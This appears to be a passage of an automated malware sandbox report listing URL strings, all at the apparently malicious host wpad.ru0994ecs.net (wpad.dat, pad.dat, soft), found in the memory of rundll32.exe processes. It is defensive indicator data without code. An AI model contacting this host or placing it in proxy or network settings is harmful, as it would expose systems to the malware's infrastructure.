Source: rundll32.exe, 00000006.00000003.2296178023.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/m%
Source: rundll32.exe, 00000006.00000003.2023919527.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/pad.dat
Source: rundll32.exe, 00000006.00000003.2555312580.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3153234300.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/soft
Source: rundll32.exe, 00000004.00000003.1926281286.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1647770477.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1894326184.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1654176314.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1419478481.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1603737524.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2066689185.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1792422852.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1412812438.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1531089230.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1993961092.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1626164313.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1735922553.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1910524803.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2092661893.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3212230393.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1631961738.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1419422889.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2030406198.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3212230393.000000000085A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1660350216.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat
Source: rundll32.exe, 00000005.00000003.3100761644.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2265948419.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat$
Source: rundll32.exe, 00000005.00000003.1624359948.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat&
Source: rundll32.exe, 00000005.00000003.3039330629.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1907987916.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1891609655.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1845254370.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1923903671.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1939774295.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3212145173.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1986104679.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat(
Source: rundll32.exe, 00000004.00000003.1710120144.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat)2
Source: rundll32.exe, 00000004.00000003.1647770477.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1654176314.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1993961092.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3212230393.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2265828652.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat-3
Source: rundll32.exe, 00000005.00000003.3013384977.0000000000E66000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3039330629.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3212145173.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3007397271.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat.
Source: rundll32.exe, 00000005.00000003.1474379274.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1530412994.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1658645800.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3013384977.0000000000E66000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2152492975.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2234617944.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1608481511.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2152443796.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1576377162.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1602107746.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1707094397.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1624359948.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat0
Source: rundll32.exe, 00000004.00000003.1993961092.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1610318346.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1710120144.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat32
Source: rundll32.exe, 00000004.00000003.1894326184.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1792422852.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1993961092.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2030406198.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1848455305.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1483980621.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1668392852.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1523318865.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat4ecs.net/wpad.dat
Source: rundll32.exe, 00000005.00000003.1630685171.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1658645800.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1630658859.0000000000E69000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1646469901.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1646437445.0000000000E69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat4ecs.net/wpad.datJ
Source: rundll32.exe, 00000005.00000003.1907987916.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1891609655.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1923903671.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1991632241.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1939774295.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1986104679.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1991583376.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat4ecs.net/wpad.datx
Source: rundll32.exe, 00000006.00000003.1889834970.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1710120104.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1925631862.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1889738291.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1523318865.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat5
Source: rundll32.exe, 00000005.00000003.1658645800.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3007397271.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat6
Source: rundll32.exe, 00000004.00000003.1654176314.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1792422852.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2160540155.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat73
Source: rundll32.exe, 00000005.00000003.3100761644.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2265948419.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat:
Source: rundll32.exe, 00000004.00000003.2234034886.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2265828652.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2239962419.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat=9
Source: rundll32.exe, 00000006.00000003.1710120104.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2085460128.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1756181150.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2059777138.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1565975116.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2141356968.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1540003280.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1668392852.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1622475492.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat?
Source: rundll32.exe, 00000005.00000003.1418285939.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1474379274.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1418351695.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datD
Source: rundll32.exe, 00000004.00000003.1926281286.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1894326184.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2066689185.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1993961092.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1735922553.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1910524803.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2092661893.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2030406198.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2128803389.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1988173285.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datE3
Source: rundll32.exe, 00000005.00000003.1474379274.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1530412994.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1907987916.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1891609655.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1845254370.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1608481511.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1576377162.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1939774295.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1602107746.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1986104679.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1624359948.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datJ
Source: rundll32.exe, 00000005.00000003.2301673720.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datL
Source: rundll32.exe, 00000006.00000003.1889834970.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1710120104.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3213033341.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1483980621.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3199182399.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1756181150.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1436589071.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2696298133.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1941484645.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1565975116.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1762023262.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1925631862.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1889738291.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1540003280.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1668392852.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1523318865.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3126828094.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1767802965.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2571721271.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1849817694.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datS
Source: rundll32.exe, 00000005.00000003.2027668202.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2027575872.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datT
Source: rundll32.exe, 00000004.00000003.1894326184.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1603737524.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1792422852.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1626164313.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1735922553.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1660350216.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2160540155.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1475292025.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1603621904.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1475197639.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1610318346.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1848455305.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1710120144.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datU2
Source: rundll32.exe, 00000005.00000003.2157934091.0000000000E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1907987916.0000000000E46000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2126275843.0000000000E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2152443796.0000000000E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1939774295.0000000000E46000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1608513617.0000000000E45000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1986104679.0000000000E46000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2027575872.0000000000E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2090079990.0000000000E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1602164904.0000000000E45000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1991583376.0000000000E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1923903671.0000000000E46000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2063675351.0000000000E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1530532343.0000000000E45000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1474428569.0000000000E45000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1658699398.0000000000E45000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1576429693.0000000000E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datXn
Source: rundll32.exe, 00000006.00000003.2085460128.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1849817694.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datY
Source: rundll32.exe, 00000005.00000003.2157934091.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2152492975.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2063724054.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2234617944.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2265948419.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2301673720.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2152443796.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2063675351.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2157996645.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datZ
Source: rundll32.exe, 00000004.00000003.1647770477.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2092661893.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1942177143.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2128803389.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1988173285.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2155115703.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat_2
Source: rundll32.exe, 00000006.00000003.1756225453.0000000000C2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2085505867.0000000000C2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2023919527.0000000000C2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2059847313.0000000000C2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1762076047.0000000000C2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.data
Source: rundll32.exe, 00000004.00000003.1926281286.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1626164313.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1942177143.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1710120144.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datb2
Source: rundll32.exe, 00000006.00000003.1756181150.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datc
Source: rundll32.exe, 00000006.00000003.2023919527.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1540003280.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datg
Source: rundll32.exe, 00000004.00000003.2030406198.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datg3
Source: rundll32.exe, 00000004.00000003.1894326184.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1792422852.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1531089230.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2092661893.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1610318346.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1412760852.00000000008D0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1710120144.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dath2
Source: rundll32.exe, 00000006.00000003.1889834970.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2085460128.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1762023262.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1889738291.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1849817694.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datm
Source: rundll32.exe, 00000004.00000003.1660350216.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2160540155.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2155115703.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1710120144.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2027668202.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2027575872.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1756181150.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1804017328.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1762023262.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1767802965.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datm32
Source: rundll32.exe, 00000005.00000003.2157934091.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1923903671.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2157996645.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datn
Source: rundll32.exe, 00000004.00000003.1647770477.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1654176314.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1993961092.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1419422889.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1419514786.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2155115703.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datn2
Source: rundll32.exe, 00000006.00000003.2023919527.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2296178023.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1977829920.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2588189264.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1941484645.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2368447198.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2519450399.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datq
Source: rundll32.exe, 00000005.00000003.1576377162.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datr
Source: rundll32.exe, 00000005.00000003.1658645800.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1991632241.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1991583376.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datt
